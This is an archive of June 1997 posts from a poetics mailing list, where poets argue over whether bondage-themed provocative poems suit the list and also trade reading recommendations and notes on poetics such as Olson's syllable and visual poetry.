The great Mouth himself is making a decision to "set nomail" for awhile. This has happened before and hasn't lasted very long, and history will probably repeat itself. I'm just tired of the vulgarity and the endless vain boring breathings which are painful because they mirror the excruciating pettiness of my own bad breath. I'm sure I'll be back to lurk soon enough. Maybe we'll be talking about poetry again at some point. I like humor and all that but literary pornography seems like the most pathetic thing possible, worse than short stories any day, Jordan.

"This makes it possible for people to write so-called works of science (which from time to time are, in fact, scientific) that are totally obscene and according to which one can interpret (usually without any critical basis) past as well as present artists and writers in a degrading way, like at the "Cafe Brasileira" in Chiado, administering psychic masturbation to the huge net of onanism that seems to constitute the civilized mentality".

- from a letter of Fernando Pessoa [on Freud's influence], 12.11.1931

- translated by Susan Brown. from a selection of letters of Pessoa in _alea_ #5 [which are absolutely riveting].

alea, PO Box 104, Prince St Station, New York, NY 10012-0001 $8.95 per issue.

- Henry Gould

↑ Index

339. Peter Ganick
Re: kdawn's postings controversy---
Sat 14 Jun 1997

hi buffalo-l's-----
not considering the question of the appropriateness
or inappropriateness of kdawn's posting creative
writing to a discussion-of-creative-writing mailing
list, i think we can all recognize a great, and avant-
garde, writing talent behind the words on your
screens whenever she fills them with her inspired
writings----
i think she has a great future in contemporary
literature-----
out-----
peter ganick

↑ Index

340. Tenney Nathanson
Re: Word is saving poems from sleeping through sex
Sat 14 Jun 1997

my own personal favorite (w Word):

running a spellcheck on some document I was solemnly informed:

ASSHOLE NOT FOUND.

(and then there was my favorite fortune cookie (I swear):

NEVER LOOK A GIFTED HORSE IN THE MOUTH

Tenney

At 11:18 AM 6/13/97 -0400, you wrote:
>this reminds me of how funny WORD the word-processing software is. if you
>have the letters zzzz in a document and run the spell check the only word
>WORD can imagine you're trying to spell is sex.
>
>Don
>
>>> Word is saving poems
>>>
>>> Such a warm and pleasant feeling, to know that Word is so benevolent.
>>> I have been trying for many years to save poems, and this feeling of
>>> companionship in the endeavor is so pleasant.... Are others able to

>>> help out with the implications of this message?
>>>
>>> Hank Lazer
>
>
>==========
>Don Cheney San Diego, CA, USA
>http://www.geocities.com/Paris/5791
>[redacted]
>==========
>
>

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

341. David Bromige
re : so long
Sat 14 Jun 1997

Gee, Chris, when I spotted your subject header, I thought Bowering had resurfaced & was about to confide something inappropriate to us. David

↑ Index

342. Christopher Reiner
so long
Sat 14 Jun 1997

Geez, if you can't tell a joke around here, I'm gone.

↑ Index

343. Rob Hardin
Re: Inappropriate postings and bodily fluids: messy, messy, messy
Sat 14 Jun 1997

Standard Schaefer wrote:

> *I wasn't going to add any more pointless posts, but the beating Jay received makes me also want to let him, as well as his enemies, know that I agree with*

> *his position. The excessive silliness of many of these posts keeps me from being any more active on the board, as Mark Presjnar seems to feel as well.*

Oh. Oh I see. Bondage jokes are preventing you from being more active. Had I known words could bind people physically, I might have saved a pretty pfennig at Richard Strauss's All-Ulenspiegel Boutique.

"Excessive silliness?" Is there really such a thing in an academic context? What do you think Frank O'Hara might have said to Jay's attempt to purge a few stray threads of pithy wit in order to make room for certain awkwardly written, sprawling letters that purport to address theory but endlessly reiterate the same so-called outsider positions without using consistent critical terms or even inspired language? For me, there are enough useful books of theory to read without having to porrrre over someone's semantic ellipses. Even so, I would never tell anyone here to stop posting simply because I was annoyed. I can't even be certain I'm right about the apparent lack of inspiration: Quoth Montaigne, "What do I know?" These people like to read one another and it's none of my business.

(Besides--since O'Hara himself was capable of running off at the mouth, it's possible he might have defended the theoretical rambling *as well* as the bondage patter. And perhaps the ellipses are a necessary stage that leads to more fertile formulations.)

Just so, I happen to find the whole notion of bondage inextricably interwoven with the notion of poetic form. "I load myself down with chains and then I try to get out of them," Austin C wrote of his poetic objective. "I limit myself in order to free myself," Stravinsky wrote in his treatise on musical poetics. "Men in tights--physically and mentally, but mostly physically," a studio boar lectured to the ideologically- encumbered Barton Fink.

Consider an exchange of bondage jokes to be a set of poetic variations-- an occasion for wordplay--without self-importance--for the sculpting of a single idee fixe. Consider, for example, this example:

*No praise
for pain*,
my mistress
cries,
*no hope
on Hell's
horizon.
Who lives
for beauty,
I
despise,

who loves me,
I
imprison*.

Variation 1.

The elegance of earlier days?
No praise.
The cerebration of her slain?
For pain.
As red escutcheons stain her thighs,
my mistress cries.
She scales the summit of my slope:
No hope
above the plain which bones bedizen:
horizon.
No damned despoiler seeks reprieves--
Who lives?
My mistress' heart reserves its pity
For beauty.
Her spleen destroys the centuries
I despise.
My soul is vile, and none forgives me
Who loves me.
The resurrected keeper, God arisen,
I imprison.

etc, etc.

_____By the way:_____

I don't mean to imply that Jay or Standard complained in an uncivil manner. But neither did Jay "take a beating," nor were any animals harmed in the making of Kim Dawn's verses. I am certainly in favor of maintaining a civil tone. But I find the idea of censoring bondage jokes untenable and, frankly, Victorian in the worst sense of the word.

(Now back to my endless re-reading of both Hans Ewers's _Alraune_ and The Historical Manual of English Physical Interrogation Techniques. (You can thank me later for refusing to mention Swinburne.))

All Best Always,

Rob Hardin

↑ Index

344. Miekal And
Re: inappropriate posts and flames and support
Sat 14 Jun 1997

Maria Damon wrote:
>
> okay, so i fell for something inappropriate. i guess i need to work on my
> "boundaries." i found neither jay's nor kim dawn's posts inappropriate or
> offensive, but if you ask me, hoa, how i would feel about some guy posting
> something about wanting to snip off my nipples i of course must say i would
> be totally weirded out. at the same time i'm not weirded out by bromige and
> bowering (the latter of whom i've never met) trading silliness and invoking
> my name to do it, though i must admit if one of them stepped over a line
> i'd be freaked out. maybe i hven't been as tuned in as i should be. oh
> well.

where am I?

↑ Index

345. Kali Tal
Reading Kim Dawn....
Sat 14 Jun 1997

Dodie wrote:

> *The only time I've seen behavior as bad as KD's is when professional flamers invaded a newsgroup I read. This, to me, is similarly, provocation for provocation's sake--definitely something fishy here.*

I haven't seen anything "bad" in Kim Dawn's behavior, except maybe the kind of bad found in "bad girls," which is, as I read it, exactly the kind of female person(a) Kim is portraying. "Professional flamers" is the sort of phrase that triggers an association--at least for me--with "outside communist agitators," and, indeed, I get the sense that in Dodie's estimation, and in the estimation of some others, Kim Dawn is not a "real poet" but some kind of poet-pretender who is passing off "sub-literary" stuff (comparable to ["bad" as in "evil"] commercial porn propaganda) on Our Beloved Poetics List. I'm also put off by Dodie's later attempt to undermine Kim Dawn's *author*ity by attempting to cast doubt upon her claim to be female. (Does it actually matter if KD is female? How would we revise our interpretation if she were a he?) In the last post that I read, Dodie claimed that even Kathy Acker had the virtue of knowing better than to "talk dirty and flaunt herself in public." (She also called KD "delusional" which--arguments about access to intention/meaning aside--seems to me "flame-bait" of the boldest sort, a direct ad hominem attack.)

I don't know Dodie and I don't know Kim Dawn so I don't claim any insight into anyone's intent, though it's easy to surmise that whatever KD is doing, it's pushing Dodie's buttons. To me, Kim's poems read like a deliberate and quick enactment of what she might have imagined to be the Jay-that-she-read's worst nightmare; in short, she took his complaint, inverted it, and turned the volume up to 11. This is an interesting and valid literary device (easily read as satire) and exactly the sort of play one might (and I surely do) expect from a (virtual) room stuffed to the rafters with poets. Dodie's responses read--to me--like an admonishment to a wayward girl-child who has not mastered the art of acting like a Lady. Since I have less interest, perhaps even than Kim, in Ladylike behavior my sympathies tend to lie with the bad girls.

Unlike Eliza, I didn't find anything scary or weird in Kim Dawn's poems since I read them as quite clear transgressions of "acceptable" boundaries penned for the purpose of forcing us to contemplate those boundaries. Nor did I find the poems overly "personal" since it never occurred to me that they represented *Kim Dawn's* feelings/thoughts; I assumed that the voice was that of a character in a poem by Kim Dawn. If the point was to create the impression of a "real" transgression to poke fun at Jay's discomfort at the very mild bondage evocations in the ongoing conversation, then I think that Kim Dawn has been successful even to the point of creating a controversy in which people are beginning to choose sides.

And even upon re-examination, I don't find anything threatening in Kim Dawn's poetry. Perhaps I shall draw the heat of flame onto myownself here, but I feel that there's a world of difference between a woman's threat to castrate a man (literally or figuratively) and a man's threat to, say, rape a woman or "cut her nipples off." Castration (or rape or sexual abuse) of adult males *by women* in this culture is so rare that a pathetic character like Lorena Bobbitt becomes a national sensation, while violence against women by men is the rule rather than the rare exception and barely worth a nod in the evening news unless the woman is dead and the killer has found some new and fascinating way to cut up her corpse. Jay may have suffered dis-ease at being the proximate target of an attack on gender role stereotypes and prescribed social boundaries, but I would be surprised to hear that he suffered honest fear for his person in the process. If he was psychically hurt, I am sorry, but it seems to me that when you poke your hose (what a lovely typo, that should have been "nose") out in public in the form of a critical text, you ought to expect to draw some heat and, when it comes, just be ready to throw hands along with everyone else. There were surely less confrontational ways for Jay to introduce the issue that concerned him; I think Kim Dawn merely called him and raised him far enough to give him pause and, perhaps, make the rest of us think about our own stake in this game.

Kali

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346. Susan Wheeler
Re: POETICS Digest - 12 Jun 1997 to 13 Jun 1997
Sat 14 Jun 1997

>desperate for a new topic).
>Jordan
>
>PS I have the same summer reading list as last year, so I'm too ashamed to
>ask what everybody else is reading.
>
I'd be grateful for recommendations of texts that discuss aspects of poetic lineage -- either focusing on individual poets and their adopted forebears or on the nature of this construction: how we inherit/construct our affinities and dominant sources (via pedagogy, etc.). Many thanks in advance.

Have been plowing through a number of recent translations for a couple of reviews -- Breton, Deluy, Valery, Eluard, du Bouchet, Alferi, Fourcade, Jaccottet. Ace. Can't remember what was on your list last year, Jordan -- care to share again?

V

Susan Wheeler
[redacted]
voice/fax [redacted]

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347. Eliza McGrand- CVA Guest
poetic lineage
Sat 14 Jun 1997

---

there is interesting book by david kalstone, can't remember title right now but it is about four poets -- lowell, bishop, moore and someone else, and nice work tracing moore/bishop exchange of influence, and bishop/lowell exchange.

please, no one mention "The Anxiety of Influence," please... e

↑ Index

348. Bob Grumman
Re: Reading Kim Dawn
Sat 14 Jun 1997

I'm a little hesitant to venture yet again into this war that seems to be trying to start, but I wanted to award a large yes to Kali Tal's highly sensible posting--and a somersaulting yes to Daniel Tessitore's Ministry of Inappropriateness. (And a surprised Good Grief to Henry's withdrawel.)
--Bob G

↑ Index

349. David R. Israel
Re: poetic lineage / influence
Sat 14 Jun 1997

From: Eliza McGrand --

> *there is interesting book by david kalstone, can't remember title right now but it is about four poets -- lowell, bishop, moore and someone else, and nice work tracing moore/bishop exchange of influence, and bishop/lowell exchange.*
>
> *please, no one mention "The Anxiety of Influence," please...*

okay, deal. I've been (on some level of thinking) interested in influence / lineage with Robert Graves & W.S. Merwin -- though don't know that this is much considered (written about) as such, in whatever Merwin-crit as exists.

Here's one reference of poss interest to Jordon: an essay about Sylvia Plath in the New York Review of Books, written by James Fenton. Among other things, Fenton contrasts Plath's (constructed) sense of lineage (which he opines amounts to her sense of herself as a woman-poet) with that of Moore & Bishop. (Hmm -- was it a matter of influence? - or a matter of whom [historically] she felt she was competing with? -- pardon there, E)

Anyway, the essay appeared in a recent issue -- perhaps about 6 or so weeks ago (?). Title: "Sylvia Plath -- Priestess" or something along those lines.

best,
d.i.
.
.....
.....
\\\

| [redacted] (home)
| [redacted] (office)
==========
| thy centuries follow each other
| perfecting a small wild flower
| (Tagore)
//////////////////////////////////////\\\\\/////

↑ Index

350. **Piombino/Simon**
Re: summer reading
Sat 14 Jun 1997

Hi Susan- I've been hoping someone would open the topic of summer reading lists. One day recently I was thinking of Benjamin's wonderful essay "Unpacking My Library" (in Illuminations) and I dragged out the huge pile of books I delusionally consider to be my current reading with the intention of listing some of them here. Fortunately for all of you I became fascinated by the Kim Dawn-Jay Schwartz potlatch and never got around to it. Anyway, I wanted to mention a book I think qualifies as being about "poetic lineage". The book is "Textual Politics and the Language Poets" by George Hartley published in 1989 by Indiana University Press. Back in the middle to late 80's George interviewed a number of so-called language poets and then wrote some interestingly dense and complex essays about them. The first essay in the book is titled "endless PROTEANL inkages" Language Poetry and the Avant-Garde Tradition. He mentions Khlebnikov, Stein, WCW, Vladimir Mayakovsky, Breton, Tzara, Olson, Ashbery, Emily Dickinson, Jackson Mac Low, Duchamp, Zukofsky, and many others. By the way, the book includes a whole chapter on "Jameson's Perelman" in which he discusses in detail why he believes Jameson is(incorrectly) confusing poetic language with schizophrenic speech. Nick P. On Sat, 14 Jun 1997, Susan Wheeler wrote:

> *desperate for a new topic).*
> *Jordan*
>
> *PS I have the same summer reading list as last year, so I'm too ashamed to ask what everybody else is reading.*
>
> *I'd be grateful for recommendations of texts that discuss aspects of poetic lineage -- either focusing on individual poets and their adopted forebears or on the nature of this construction: how we inherit/construct our affinities and dominant sources (via pedagogy, etc.). Many thanks in advance.*
>
> *Have been plowing through a number of recent translations for a couple of*

> *reviews -- Breton, Deluy, Valery, Eluard, du Bouchet, Alferi, Fourcade, Jaccottet. Ace. Can't remember what was on your list last year, Jordan -- care to share again?*
>
> *V*
>
> *Susan Wheeler*
> [redacted]
> *voice/fax* [redacted]

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351. **Gwyn McVay**
Diamanda Galas
Sat 14 Jun 1997

David I. or anybody in the know, p'raps you could backchannel me with a short discography of la Galas? Always been interested, never able to find her stuff.

Gwyn

↑ Index

352. **Gwyn McVay**
Re: poetic lineage
Sat 14 Jun 1997

The Kalstone Bishop/Lowell/Moore book is called /Becoming A Poet./ I always wondered why the singular, except that /Becoming Several Poets/ would sound funny.

Gwyn

↑ Index

353. **David Bromige**
not tuned in, Maria?
Sat 14 Jun 1997

Turned on, though. And please don't drop out. David

↑ Index

354. **Gwyn McVay**
Okudzhava and Aygi
Sat 14 Jun 1997

Today's /NY Times/--are we all getting at least the same obits?--made mention of the death of Bulat Okudzhava, a Russian dissident poet. The obit writer grouped him with Yevtushenko and Akhmadulina, and called them Russia's "beat" movement. I always get suspicious of attempts to compare cultural phenomena like that--"Jell-O is the 'Pavlova' of the US!"--but I'd be interested in knowing more about this poet, like specifically if anything of his is available in translation.

Also got hold of a book of poems by Gennady Aygi, a poet of the Chuvash ethnic/linguistic minority--Russian was actually his second language; Pasternak is supposed to have gotten him writing in Russian. The English versions struck me as being more like translator's literal cribs than finished poems in English--but they still seemed interesting; I got the sense that his work was considered formally disruptive in several ways.

Anybody know more about either of these two, even enough to contextualize?

bests
Gwyn

↑ Index

355. **Piombino/Simon**
Re: summer reading
Sat 14 Jun 1997

By the way, the George Hartley book Textual Politics and the Language Poets is still in print at $22.50 (ISBN 0-253-32716-4)
Nick P.

↑ Index

356. **Thomas M. Orange**
appropriateness of tangled language excursions
Sat 14 Jun 1997

jumping in a bit late on this, as the daily digest often forces us to do...

kudos to david israel and kali tal for what strike me as the most cogent readings so far of this recent (in)appropriateness thread.

by contrast, i find the suggestions that kim is a professional flame-thrower (we've seen them here before of course) or responsible for some made-for-download amateur porn video synopsis by/about "kim and dawn" (dodie, how/

where did you find this??) -- these notions strike me as being quite far afield, even bordering on the conspiracy-theoried.

granted, this medium throws writing and its intentions into all kinds of circumspections; boundaries and terrains in a community such as this take time and effort to discern -- especially when someone new and with whose writing we are unfamiliar begins posting. this to me was the important point in jay's complaint -- that exclusive conversations (whether about light bondage or anything else) can inhibit potential posters from feeling like their writing will be paid any attention.

still, kim's writing is not abt shocking for its own sake, offending strangers, or literariness. while paying attention to the appropriateness of *some* of her language we've overlooked some as well -- the "riffing" (as d.i. puts it) on "Word is saving poems" etc...

cheers,
t.

↑ Index

357. Thomas M. Orange
syllable. king and pin of versification.
Sat 14 Jun 1997

---

thoughts on olson's "projective verse" essay. i cant agree with his take on the syllable. not at all "the smallest particle of all." obviously the smallest particle is the phoneme or grapheme, but these by themselves can't carry any meaning-sense. by contrast the syllable is not pure enough, contains potentially too much phonemic/graphic material and meaning-sense. before i explain, i quote: it is by their syllables that words juxtapose in beauty, by these particles of sound as clearly as by the sense of the words which they compose. in any given instance, because there is a choice of words, the choice, if a man is in there, will be, spontaneously, the obedience of his ear to the syllables. the fineness, and the practice, lie here, at the minimum and source of speech. (selected writings 17-18) syllables are not the minimum and source, they have too much sound and sense superadded. take "bent." (taggart read one of his long poems at the zuk conference, cant remember the name but it came out before dodeka and is linked thematically and conceptually. had the phrase "bent simple" recurring and it stuck with me.) "bent" is just as much as syllable as "rent," but the initial consonants are ineluctably permeate with different sound and sense. here "ent" is the fundamental unit of poetic substance: sonically complete ("nt" is more or less unpronounceable, "e" almost equally so and too aspecific) and capable of being approached by a signifying intention (using a merleau-ponty concept). essentially, "ent" stands waiting to be

complemented by a signifying intention that will weave it into a plastic poetic material, shapeable by the various potential sonic-semantic combinations: bent, relenting, entelechy, etc.

now it gets trickier when you start talking graphemes. certainly "nt" carries weight in this sense, but again moreso than "e." and what about "meant"? a syllable in olson's sense, phonemically the same (minus the initial consonant) as "bent," but with a graphic diff'er*a*nce...

musingly,
t.

↑ Index

358. **Michel Delville**
Query - Abraham Lincoln Gillespie
Sat 14 Jun 1997

Dear listers:

Could anybody backchannel me with the address of Abraham Lincoln Gillespie's literary estate?

Thanks for your help.

Michel Delville

Michel Delville
English Department
University of Liège
3, Place Cockerill
4000 LIEGE
(BELGIUM)

Fax: ++ 32(0)4 366 57 21
e-mail: [redacted]

↑ Index

359. **Kali Tal**
Re: appropriate ice cream
Sat 14 Jun 1997

---

joe, i've got a recording of tom waits doing "ice cream man" on an album of his called _the early years_. don't have it on hand (i'm in l.a. right now), but he may be the author. if not, my guess would be it's an older blues/r&b tune, of the "hey, little girl" variety. waits' version is definitely nasty blues or an imitation thereof....

kali
(rumors of my resurrection have been greatly exaggerated)

↑ Index

360. **James Finnegan**
Re: POETICS Digest - 12 Jun 1997 to 13 Jun 1997
Sat 14 Jun 1997

In a message dated 97-06-14 11:53:43 EDT, you write:

>From Outlaw To Classic, Alan Golding's account of the American
>tradition through the anthology. Very interesting.
>
>
Dan--
Good choice--I liked it very much. The elaborate footnotes
are wonderful, and the prose scholarly, yet clearheaded.

Finnegan

↑ Index

361. **amato**
Re: appropriate ice cream
Sat 14 Jun 1997

---

pam, don't know who authored that tune (don't have the disc on-hand), but it was back when david lee roth was lead vocalist... "i'm your ice cream man" etc... somebody around here can fill in the blanks, i hope...

steve, a creamsicle?... that makes three creamsicle votes (two backchannel)... something about creamsicles, i'll tell ya...

still pining for my popsicle... my orange popsicle... anyone know that tune with the line "popsicle toes"?...

re appropriate/in: there *are* no inappropriate posts, actually, not even posts that claim there are inappropriate posts... the word "inappropriate," to be a bit picky for a sec, is, as rob hardin suggests and kali unpacks, almost victorian in its implications ("unfitting," "unsuitable," etc)... i think in fact it's an inappropriate choice of terms... er... on the other hand, perhaps "inappropriate" is perfectly appropriate, b/c in fact the more whimsical posts (as well as kim's) deform the list boundaries a bit in attempting to find a 'fit'... which would suggest the need for more inappropriate posts, albeit we'll probably not all be in agreement as to what fits well... and hey, i really don't see (AT ALL) a threat to our

collective capacity for discussing "germane" topics (as in "appropariate and relevent")...

that said, i'm not about to argue that kim's performance (as such) isn't or couldn't be offensive... kim, to tu: i think there is a lapse of irony (if you will) twixt a publication by acker or yourself and your entrance (en-trance) into these spaces---to draw but one distinction twixt 'publishing' yourself hereabouts and addressing somebody [he sez]... and a parallel lapse effected in effect by jay schwartz (jay, to tu now)---it is provocative in a rather obnoxious way [he sez] to enter into a list space in which you haven't been all that active and ask those who have (for some *years* now) to be somehow more 'appropriate'... albeit when you writ 'at [your] snootiest' or some such i did feel a certain mitigating effect, like, why bother?... but again---you're free to post same, as i've been free to pretty much ignore your provocation (till my public popsicle urge, that is)...

of course there are posts that cross 'the line,' and kim's post does perhaps blur 'the line' some, offering b/c of its occasion, and depending upon interpretation, a certain quotient of verbal abuse, as dodie indicates... but it's up to our list-towner to decide, ultimately, whether, based perhaps on everybody's opine, there is actual threat, actual hate, etc---he's the only one with the actual power to prevent somebody from subbing to this list (it's a tall order, but i'm sure charles is up to it!)... anyway, i think it's clear (based on all of these posts) that the performative has in this case been self-regulating... kim's post struck me, as it did eliza, as a bit weird primarily b/c of its occasion---but this is no vote against same as such... i did not sense actual threat or hate, even if i can say outright that it's not my, uhm, style, simply b/c the taunting factor (again, in this context) i found a bit much...

i don't think the discussion then is about literary porno, exactly... rather more to do, again and again and again, with how we come to this sort of engagement... and to say it the best i can, it's at best an idiosyncratic affair...

me, i'm wedded [sic] to the idea that 'we' *are* about possibilities, about finding ways to learn from one another... but learning, yknow, can raise anxieties...

best,

joe

↑ Index

362. **Maria Damon**

Re: not tuned in, Maria?

Sat 14 Jun 1997

At 7:05 AM -0700 6/14/97, David Bromige wrote:

> Turned on, though. And please don't drop out. David

not intending to drop out at all, and Rachel, don't be going puhleez. i meant not tuned in to undercurrents of hostility and violence etc that others detected.

↑ Index

363. **robert drake**
Re: Okudzhava and Aygi
Sat 14 Jun 1997

---

you can get a taste of Okudzhava's work in _Contemporary Russian Poetry_, ed./trans. Gerald Smith, Indiana U. 1993. i'm absolutely w/ you on the suspect cultural comparison; praps drawn frm his works circulating on cassette tape, & some imagined parallel w/ beat coffeehouse readings?? crazy, man, crazy...

lbd

> *Today's /NY Times/--are we all getting at least the same obits?--made mention of the death of Bulat Okudzhava, a Russian dissident poet. The obit writer grouped him with Yevtushenko and Akhmadulina, and called them Russia's "beat" movement. I always get suspicious of attempts to compare cultural phenomena like that--"Jell-O is the 'Pavlova' of the US!"--but I'd be interested in knowing more about this poet, like specifically if anything of his is available in translation.*
>
> *Anybody know more about either of these two, even enough to contextualize?*
>
> *bests*
> *Gwyn*

↑ Index

364. **dbkk**
Re: Reading Kim Dawn....
Sat 14 Jun 1997

Kali,

I leave you and Kim to your orifaces. Enjoy them.

Dodie

↑ Index

365. **Kim Dawn**
ms. non-provocateur
Sat 14 Jun 1997

---

thanks tom, peter, kali and bob. very thoughtfully written. though i am engage in some of the perifies of this debate (especially the aspects of disembodied texts of e-mail, the boundaries, or, my lack of between public and private, the

gender question (question of my gender), and the violence of text(s) buried, the body as text. received a copy of your book,dodie, with bob harrison entitled BROKEN ENGLISH. am really enjoying it and hope you don't leave the list. i hope a constructive discussion on this and other writing can occur. any interest in the body as text or the amnesiac (dis) embodied ; body ; writing? (like sylvia fraser's writing. who wrote and wrote, unaware at the time, as it all poured forth that her texts were actually her memory re-surfacing.

↑ Index

366. **Bob Grumman**

Re: syllable. king and pin of versification.

Sat 14 Jun 1997

I agree with Thomas M. Orange that Olson was wrong in calling the syllable "the smallest particle of all." But for those of us in infra-verbal and visual poetry, the phoneme isn't the smallest particle, either. For instance, a lot of us have been working with the dot of the lower case i. jwcurry has a one-LETTER poem in which he replaces the dot of an i with a finger-print. I have a poem in which the i in "spring" has seven dots. In a variation in honor of Cummings's "just-spring," I spell "spring" without the body of its i, just its dot. Then there's my favorite poem, Aram Saroyan's "lighght," where an extra unvoiced phoneme carries all kinds of meaning-sense. And what about Joyce's "cropse" as a one-word summary of human existence? Certainly to us the phoneme or grapheme, and even smaller textual particles, can carry a great deal of "meaning-sense."
--Bob G

↑ Index

367. **Pritchett,Pat**

Re: hello poetics! let's tell the truth

Sat 14 Jun 1997

Okay, I'll bite.

But first, in a Cageian spirit, let me ask, what do we mean by a reading list, i.e., what do we hope to get out of them? What we do expect they'll do for us? Why do we feel compelled to keep them? Do reading lists become more important than the books themselves?

I'll indulge in some confession and hope it strikes a chord: I have always been a great reader of bits. Bits and pieces. Bits and portions. I seldom read a book cover to cover, whether it's poetry or prose. Which is why I read so little fiction. All that tiresome linearity! ("The boy is quick, but he's got no application," I can hear Sister Concepta murmur, looking down on me from the towering height of 4'11" with a sad shake of her funereally coifed head).

Whereas, if the writer's any good or has got something interesting to say, then dipping into, say, a critical work, at almost any point should yield the satisfactions I seek: stimulation of the intellect and bracing inventive language. More and more I find I'm only drawn to texts that bewilder me (in all senses of that word). If I'm not instantly at a loss, or bedazzled in some other way, then I'm unhooked: I move on. Of course my lack of application has always bothered me. Which is I why I was gratified to learn in Trelawny that Shelly had a similar attitude toward books. He had the uncanny gift for locating exactly what he wanted from a given text and when he'd read that bit, that piece or portion, he was through with the book. Boffo, said I. Still, the anxiety remains. And isn't that, finally, what we mean by a reading list? A diagram of our anxiety?

Here's mine _this_ week. God only knows where I'll be next:

Helene Cixous: Three Steps on the Ladder of Writing (skimming but it deserves better)
John Cage: Silence (say what)
Blanchot: The Writing of the Disaster (the text as hologram - made for me!)
Kevin Killian: Shy (hi Kevin!)
Edw. Dahlberg: Because I Was Flesh (a bedstand alternative of the month book)
Henri Corbin: Creative Imagination in the Sufism of Ibn Arabi (hopeless)
Kristeva: Black Sun (another skimmer)
Harbormaster of Hong Kong (yo decibel!)
Occasional forays into the prose of Beckett and Elizabeth Smart (_By Grand Central Station I Sat Down and Wept_ : has anyone else read this? I may have to succumb and read all of it).

Patrick Pritchett

From: Jordan Davis
To: POETICS
Subject: hello poetics! let's tell the truth
Date: Friday, June 13, 1997 9:12PM

Jordan

PS I have the same summer reading list as last year, so I'm too ashamed to ask what everybody else is reading.

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368. **dbkk**
Re: ms. non-provocateur
Sat 14 Jun 1997

At 3:28 PM -0400 6/14/97, Kim Dawn wrote:
>(like sylvia fraser's writing. who wrote and wrote, unaware at the
>time, as it all poured forth that her texts were actually her memory
>re-surfacing.

Obviously, Kim, your concerns are mine as well, but the poetics list is not a space where I feel comfortable discussing my opinions about female-centered issues. Like you I admire the work of Nicole Brossard--and who doesn't have a crush on Erin Moure?

I'm not familar with Sylvia Fraser. She sounds interesting. Who is she? Where's her work available?

Dodie

↑ Index

369. **amato**
Re: appropriate ice cream (the cool down?)
Sat 14 Jun 1997

---

yo, thanx kali & linda, that's it i think... yeah, van halen musta electrified it some, as per...

now it's gone and got chilly here in chicago, damn... orange popsicle on hold till it warms up again...

///

joe

↑ Index

370. **Herb Levy**
Re: Diamanda Galas
Sat 14 Jun 1997

Gwyn -

I'd divide Galas' work into three roughly chronological sections: the first (Wild Women with Steak Knives/Litanies of Satan & Panoptikon) are the most abstract; the middle (the various works in response to the AIDS crisis, Schrei X) are more direct; & the more recent pop/torch song collections (You Must be Certain of the Devil, The Singer, The Sporting Life) often seem self-parodistic.

Needless to say, there are those who don't find her pop-ish stuff as silly as I do.

Here's the URL for a Diamanda Galas Web site:

<http://www.sundial.net/~endless/Diamanda.shtml>

> *David I. or anybody in the know, p'raps you could backchannel me with a short discography of la Galas? Always been interested, never able to find her stuff.*
>
> *Gwyn*

Herb Levy
[redacted]

↑ Index

371. **Kim Dawn**
Re: ms. non-provocateur
Sat 14 Jun 1997

> *At 3:28 PM -0400 6/14/97, Kim Dawn wrote:*
> *(like sylvia fraser's writing. who wrote and wrote, unaware at the time, as it all poured forth that her texts were actually her memory re-surfacing.*
>
> *Obviously, Kim, your concerns are mine as well, but the poetics list is not a space where I feel comfortable discussing my opinions about female-centered issues. Like you I admire the work of Nicole Brossard--and who doesn't have a crush on Erin Moure?*
>
> *I'm not familar with Sylvia Fraser. She sounds interesting. Who is she? Where's her work available?*
>
> *Dodie*

i feel like someone just took the candy outta my mouth and i'm still sucking air. i know there are men on this list whom i know personally who love moure and brossard and marlat. so, maybe they wouldn't mind or would also be interested in engaging a dialogue concerning the body as text, this concerns men too, it would be really interesting if they joined in. mr. w, care to contribute?i'm reading the handbook of yours, treasuring it, really. i think the size is appropiate for the content. how did you and bob work on the text together? i'm glad you sent me a nice message. last night i cried upon reading my mail on my way out. so what. pain/pleasure/pleasure/pain. oh, sylvia fraser is this amazing woman i heard speak a few years ago in halifax, she was dressed in orange from head to toe, heels, tights, suit, lipstick, purse. she had a powerful presence. some of her books are: 'berlin solstice', 'my father's house',and 'pandora'. she wrote pandora and berlin solstice before she had any memory of her childhood. her memory seeped itself through into her writing. the books lulled her in and she

couldn't stop even if she wanted to. i think you can probably find her stuff in most bookstores, and womens bookstores.

↑ Index

372. **Thomas M. Orange**
syllable king and pin
Sat 14 Jun 1997

---

bob g:

certainly infraverbovizpo is a whole different ballgame. an "i" with *seven* dots hmm. any of the stuff you mention (yrs, jwcurry, saroyan) on the light-and-dust site? will check.

thanks,
t.

↑ Index

373. **Thomas M. Orange**
the latest baffler
Sat 14 Jun 1997

---

does anyone know when the most recent issue of the baffler (#9) came out? just saw a copy at a newsstand this aft and am wondering if the mail is slow or if i've been extricated from the subscription loop. backchannel is fine.

thanks,
t.

↑ Index

374. **Maria Damon**
Re: ms. non-provocateur
Sat 14 Jun 1997

---

i wd be fascinated by a discussion of female centered issues to the degree that we are comfortable w/ same. we have had some rather oblique discussions of "writing the body" before, but they've usually consisted of people recommending cixous et al to each other and not much further than that. i obviously don't want anyone to transgress her comfort level (her own, that is, not cixous's) and i don't know how much i'll be participating myself, since most of my deeply body centered and embodied-memory-driven days seem to be behind me (all i do now it seems is type and think about how much $$ i have to sock away if i want to do early retirement, that and a certain upcoming conference). i've enjoyed seeing new names (brossard is not a new name but as yet unread by me;

moure is new to me, as is sylvia fraser i think, tho maybe my sister was reading my father's house last xmas) esp since i'm teaching my old fave course, weird books by women, and wd entertain a few new names on the syllabus.--md

At 4:28 PM -0400 6/14/97, Kim Dawn wrote:
>>At 3:28 PM -0400 6/14/97, Kim Dawn wrote:
>>>(like sylvia fraser's writing. who wrote and wrote, unaware at the
>>>time, as it all poured forth that her texts were actually her memory
>>>re-surfacing.
>>
>>Obviously, Kim, your concerns are mine as well, but the poetics list is not
>>a space where I feel comfortable discussing my opinions about
>>female-centered issues. Like you I admire the work of Nicole Brossard--and
>>who doesn't have a crush on Erin Moure?
>>
>>I'm not familar with Sylvia Fraser. She sounds interesting. Who is she?
>>Where's her work available?
>>
>>Dodie
>
>
>i feel like someone just took the candy outta my mouth and i'm still
>sucking air.
>i know there are men on this list whom i know personally who love moure and
>brossard and marlat. so, maybe they wouldn't mind or would also be
>interested in engaging a dialogue concerning the body as text, this
>concerns men too, it would be really interesting if they joined in. mr. w,
>care to contribute?i'm reading the handbook of yours, treasuring it,
>really. i think the size is appropiate for the content. how did you and bob
>work on the text together?
>i'm glad you sent me a nice message. last night i cried upon reading my
>mail on my way out. so what. pain/pleasure/pleasure/pain.
>oh, sylvia fraser is this amazing woman i heard speak a few years ago in
